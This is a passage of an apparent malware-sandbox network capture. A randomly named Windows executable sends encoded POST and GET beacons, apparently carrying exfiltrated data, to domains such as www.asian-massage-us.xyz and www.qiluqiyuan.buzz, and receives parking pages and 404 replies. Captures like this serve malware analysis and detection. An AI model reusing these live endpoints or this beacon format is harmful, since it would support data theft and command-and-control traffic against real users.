65 58 Data Ascii: MHZDTHg=AkBl0xNSGkvk/iR0nt1q+KcIP0Ffom6mm01jsiq1DFryFbKKZntscR1xtGdnklHxV1zpHkd8vMHT/K6abwWeTrzDr/mACWjY54w8XH1Ab3Iywqkupf7r0qK+OZHGr6cmV7vf0ROUy4ARZpKY1J/nUE51xhBTSFRJKfsU0KHhGkuR/WwVKmepbWV9Jv8d5xcOBLBZ/Z6jHZy4Dy5xAmCX6aeZd8eX
Sep 9, 2024 10:42:59.560657024 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 09 Sep 2024 08:42:59 GMT content-type: text/html; charset=utf-8 content-length: 1146 x-request-id: c0eb6f13-459f-45a9-bbf9-41f93f574215 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_wlARJhqLmmWVH8b/GDIhwzJzdn45kft3k6Oe/Gu2/ALbm28f2LYsrDNuPhf0t5f499uG0DPZUJsoCIy0MhjZPw== set-cookie: parking_session=c0eb6f13-459f-45a9-bbf9-41f93f574215; expires=Mon, 09 Sep 2024 08:57:59 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 77 6c 41 52 4a 68 71 4c 6d 6d 57 56 48 38 62 2f 47 44 49 68 77 7a 4a 7a 64 6e 34 35 6b 66 74 33 6b 36 4f 65 2f 47 75 32 2f 41 4c 62 6d 32 38 66 32 4c 59 73 72 44 4e 75 50 68 66 30 74 35 66 34 39 39 75 47 30 44 50 5a 55 4a 73 6f 43 49 79 30 4d 68 6a 5a 50 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_wlARJhqLmmWVH8b/GDIhwzJzdn45kft3k6Oe/Gu2/ALbm28f2LYsrDNuPhf0t5f499uG0DPZUJsoCIy0MhjZPw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 9, 2024 10:42:59.560669899 CEST	599	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYzBlYjZmMTMtNDU5Zi00NWE5LWJiZjktNDFmOTNmNTc0MjE1IiwicGFnZV90aW1lIjoxNzI1ODcxMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49287	199.59.243.226	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:01.654810905 CEST	1782	OUT	POST /kc69/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1244 Host: www.asian-massage-us.xyz Origin: http://www.asian-massage-us.xyz Referer: http://www.asian-massage-us.xyz/kc69/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 41 6b 42 6c 30 78 4e 53 47 6b 76 6b 2f 69 52 30 6e 74 31 71 2b 4b 63 49 50 30 46 66 6f 6d 36 6d 6d 30 31 6a 73 69 71 31 44 46 6a 79 45 74 47 4b 59 45 31 73 66 52 31 78 75 47 64 36 6b 6c 48 4a 56 30 62 74 48 6b 52 47 76 4b 44 54 2f 70 69 61 4b 52 57 65 49 62 7a 44 6e 66 6d 37 4d 32 69 41 35 34 67 67 58 48 46 41 62 33 49 79 77 76 67 75 75 4f 37 72 32 71 4b 39 65 35 48 53 68 61 64 6f 56 37 32 6e 30 52 62 6a 7a 4c 49 52 59 4a 36 59 34 66 72 6e 5a 45 34 54 69 52 41 4f 53 46 63 54 4b 5a 49 32 30 4b 44 62 47 6d 2b 52 39 77 78 33 51 32 53 2b 59 6c 74 39 4c 38 77 6a 6d 57 77 30 43 39 4d 7a 7a 36 61 56 4a 61 36 70 49 46 70 31 43 53 66 4e 6d 75 65 44 51 4a 48 38 6c 63 59 39 42 75 2b 68 35 54 46 34 78 2f 43 42 44 32 42 41 42 58 38 55 6b 38 37 61 55 65 31 51 43 4c 32 38 66 4c 6b 4c 59 42 62 77 38 76 76 43 59 35 69 4c 6c 72 74 2b 49 55 44 61 43 31 37 2b 41 51 56 64 6d 4a 43 55 30 6d 44 4f 33 42 48 70 65 4b 2f 66 7a 56 30 33 41 4f 34 42 54 2f 2f 2b 52 7a 52 70 75 63 4c 64 70 2f 57 62 76 36 [TRUNCATED] Data Ascii: MHZDTHg=AkBl0xNSGkvk/iR0nt1q+KcIP0Ffom6mm01jsiq1DFjyEtGKYE1sfR1xuGd6klHJV0btHkRGvKDT/piaKRWeIbzDnfm7M2iA54ggXHFAb3IywvguuO7r2qK9e5HShadoV72n0RbjzLIRYJ6Y4frnZE4TiRAOSFcTKZI20KDbGm+R9wx3Q2S+Ylt9L8wjmWw0C9Mzz6aVJa6pIFp1CSfNmueDQJH8lcY9Bu+h5TF4x/CBD2BABX8Uk87aUe1QCL28fLkLYBbw8vvCY5iLlrt+IUDaC17+AQVdmJCU0mDO3BHpeK/fzV03AO4BT//+RzRpucLdp/Wbv6pJh39BYcN2WqrM/A1DMUB12kWG4CqjbGzygb8r8I1Fdn4H758pk6iD9BEVl99SQPgdEbzFeZxJWnmHWXCfDQpNoRGrMiBJrwNxy5S53pB4TfTdtHatdJnEaJ4t/255krEiB0a7MzajlgJIOMTVmdUWJ5Zja1K8uTp4TZ+tYT2UPUzNz+AEMZLR/R9nza7wsRDiL8bvHrR6ZFuZBXQlktuwQi3gxKA4+gIw8Poa3dSubDG/Fr8JvxDsIA1+5I/2ZLZ3I6PIynbCp4+OxXqCaHcludkiqsPbZ7JYif1wDlzBJv+qh1x9aZRdZLvPsaxwBm16m7EWoIu0wod9n/x0ndCCLd2EgjLjE7gdKsq4Nwgc7y2dujAQ/1+CaMBhrsUaN2Kqx4K/NOKOXoAr67Fz1grSJgCEwDMxBp7P9MCQfFoq4dEiDqtEZ/Q0X1VvZZZdSCzyPhILBGNhEIsMBEZGUQakhH4OKWiiFRZeRhdIw7C8X4RDmxsg1ZKyZnqA3K/h/RQkApm8qK5qRqsAIE49vUBCAsrWbYgQyJ7ec7vgCo1mwFMlZsc6gM/mINXP/yZWZ2LvUjs80VDf4ODoMX7zVX9ylBjV1AnTadOyL8IZOW7B3DCchc9Bmc8kPVeFxPmjQ59goxyjTHdSlpIWcGI5wWe9cauvKU1e4P4y [TRUNCATED]
Sep 9, 2024 10:43:02.118901014 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 09 Sep 2024 08:43:01 GMT content-type: text/html; charset=utf-8 content-length: 1146 x-request-id: ed84d72e-88cd-4be0-8bcd-410c4419f4e3 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_wlARJhqLmmWVH8b/GDIhwzJzdn45kft3k6Oe/Gu2/ALbm28f2LYsrDNuPhf0t5f499uG0DPZUJsoCIy0MhjZPw== set-cookie: parking_session=ed84d72e-88cd-4be0-8bcd-410c4419f4e3; expires=Mon, 09 Sep 2024 08:58:02 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 77 6c 41 52 4a 68 71 4c 6d 6d 57 56 48 38 62 2f 47 44 49 68 77 7a 4a 7a 64 6e 34 35 6b 66 74 33 6b 36 4f 65 2f 47 75 32 2f 41 4c 62 6d 32 38 66 32 4c 59 73 72 44 4e 75 50 68 66 30 74 35 66 34 39 39 75 47 30 44 50 5a 55 4a 73 6f 43 49 79 30 4d 68 6a 5a 50 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_wlARJhqLmmWVH8b/GDIhwzJzdn45kft3k6Oe/Gu2/ALbm28f2LYsrDNuPhf0t5f499uG0DPZUJsoCIy0MhjZPw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 9, 2024 10:43:02.119231939 CEST	599	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZWQ4NGQ3MmUtODhjZC00YmUwLThiY2QtNDEwYzQ0MTlmNGUzIiwicGFnZV90aW1lIjoxNzI1ODcxMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49288	199.59.243.226	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:04.189949989 CEST	476	OUT	GET /kc69/?MHZDTHg=NmpF3EhDDWuD2jt+k/g095xLRHRyuzqtmyJn51mvGwf0ZsSxS3FqZkMY4E4Bhni9ZRnQKXdCwf/FxLiQBiKGNcTC3e2/WFeQ1r1lf08AeSNxqtZfuNHfso7Fe4LFqfY2Mw==&m8=721TkfhHN46HeBfP HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-us Connection: close Host: www.asian-massage-us.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36
Sep 9, 2024 10:43:04.636631012 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 09 Sep 2024 08:43:04 GMT content-type: text/html; charset=utf-8 content-length: 1534 x-request-id: 39ddc5ab-843a-459d-ae61-b4cabd2884a4 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cEJYBKuDZ9PpHS8BFb3XxJOVTj7LdJF4Kygmhj+PjFVNLovd7HuQd6CXSYFMtFb6tSMoZ8c6y56VpcUxq2hytg== set-cookie: parking_session=39ddc5ab-843a-459d-ae61-b4cabd2884a4; expires=Mon, 09 Sep 2024 08:58:04 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 63 45 4a 59 42 4b 75 44 5a 39 50 70 48 53 38 42 46 62 33 58 78 4a 4f 56 54 6a 37 4c 64 4a 46 34 4b 79 67 6d 68 6a 2b 50 6a 46 56 4e 4c 6f 76 64 37 48 75 51 64 36 43 58 53 59 46 4d 74 46 62 36 74 53 4d 6f 5a 38 63 36 79 35 36 56 70 63 55 78 71 32 68 79 74 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_cEJYBKuDZ9PpHS8BFb3XxJOVTj7LdJF4Kygmhj+PjFVNLovd7HuQd6CXSYFMtFb6tSMoZ8c6y56VpcUxq2hytg==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 9, 2024 10:43:04.636651039 CEST	987	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMzlkZGM1YWItODQzYS00NTlkLWFlNjEtYjRjYWJkMjg4NGE0IiwicGFnZV90aW1lIjoxNzI1ODcxMz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49289	161.97.168.245	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:34.463267088 CEST	730	OUT	POST /p6o9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 208 Host: www.qiluqiyuan.buzz Origin: http://www.qiluqiyuan.buzz Referer: http://www.qiluqiyuan.buzz/p6o9/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 55 6b 44 66 62 38 68 68 45 7a 76 38 4b 66 53 32 54 4d 6c 58 45 4d 6c 56 79 74 43 6a 6d 61 7a 54 59 6a 5a 75 55 52 77 42 66 72 78 30 62 51 4f 71 34 34 79 68 75 56 50 7a 71 31 38 75 6e 75 2f 72 65 38 56 61 56 64 6b 48 52 59 75 50 4f 62 49 48 67 66 47 64 78 57 78 4c 30 62 4a 62 70 68 79 48 4a 33 6c 55 75 47 57 50 34 55 37 77 50 52 63 2b 66 68 6a 6d 4f 73 2f 38 79 39 39 39 31 4f 44 35 69 77 73 56 35 7a 53 79 63 79 37 31 4b 6d 78 4e 63 39 4b 2b 61 45 43 6f 42 67 50 61 6f 46 6b 49 58 53 71 57 46 6a 6d 30 54 64 35 78 64 52 6f 7a 56 62 36 35 37 50 74 79 2f 61 7a 33 79 33 65 55 6f 35 39 6a 76 73 45 3d Data Ascii: MHZDTHg=UkDfb8hhEzv8KfS2TMlXEMlVytCjmazTYjZuURwBfrx0bQOq44yhuVPzq18unu/re8VaVdkHRYuPObIHgfGdxWxL0bJbphyHJ3lUuGWP4U7wPRc+fhjmOs/8y9991OD5iwsV5zSycy71KmxNc9K+aECoBgPaoFkIXSqWFjm0Td5xdRozVb657Pty/az3y3eUo59jvsE=
Sep 9, 2024 10:43:35.074706078 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Sep 2024 08:43:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cd104a-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Sep 9, 2024 10:43:35.074718952 CEST	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49290	161.97.168.245	80	3964	C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Timestamp	Bytes transferred	Direction	Data
Sep 9, 2024 10:43:37.005475044 CEST	750	OUT	POST /p6o9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 228 Host: www.qiluqiyuan.buzz Origin: http://www.qiluqiyuan.buzz Referer: http://www.qiluqiyuan.buzz/p6o9/ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2504.0 Safari/537.36 Data Raw: 4d 48 5a 44 54 48 67 3d 55 6b 44 66 62 38 68 68 45 7a 76 38 4b 38 61 32 57 72 35 58 4d 4d 6c 53 33 74 43 6a 39 4b 7a 58 59 6a 56 75 55 55 41 72 66 5a 6c 30 62 79 57 71 33 5a 79 68 37 56 50 7a 6c 56 38 72 6a 75 2f 77 65 38 5a 38 56 64 6f 48 52 59 36 50 4f 65 6b 48 67 4d 2b 53 77 47 78 4a 38 37 4a 5a 6b 42 79 48 4a 33 6c 55 75 47 43 31 34 55 6a 77 4f 68 4d 2b 4f 31 33 70 48 4d 2f 7a 6c 4e 39 39 34 75 44 39 69 77 74 43 35 79 65 59 63 30 6e 31 4b 6e 68 4e 63 4d 4b 78 42 30 43 75 65 77 4f 32 68 68 39 6d 62 6a 4b 39 48 51 4c 64 4f 73 39 4f 52 48 46 5a 50 35 79 52 6f 76 42 4b 76 4a 37 41 6a 48 2f 39 79 61 74 54 78 37 53 53 59 61 35 67 62 41 45 4f 71 2f 50 4d 75 45 57 63 71 6e 6a 35 Data Ascii: MHZDTHg=UkDfb8hhEzv8K8a2Wr5XMMlS3tCj9KzXYjVuUUArfZl0byWq3Zyh7VPzlV8rju/we8Z8VdoHRY6POekHgM+SwGxJ87JZkByHJ3lUuGC14UjwOhM+O13pHM/zlN994uD9iwtC5yeYc0n1KnhNcMKxB0CuewO2hh9mbjK9HQLdOs9ORHFZP5yRovBKvJ7AjH/9yatTx7SSYa5gbAEOq/PMuEWcqnj5
Sep 9, 2024 10:43:37.713452101 CEST	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 09 Sep 2024 08:43:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cd104a-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Sep 9, 2024 10:43:37.713463068 CEST	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
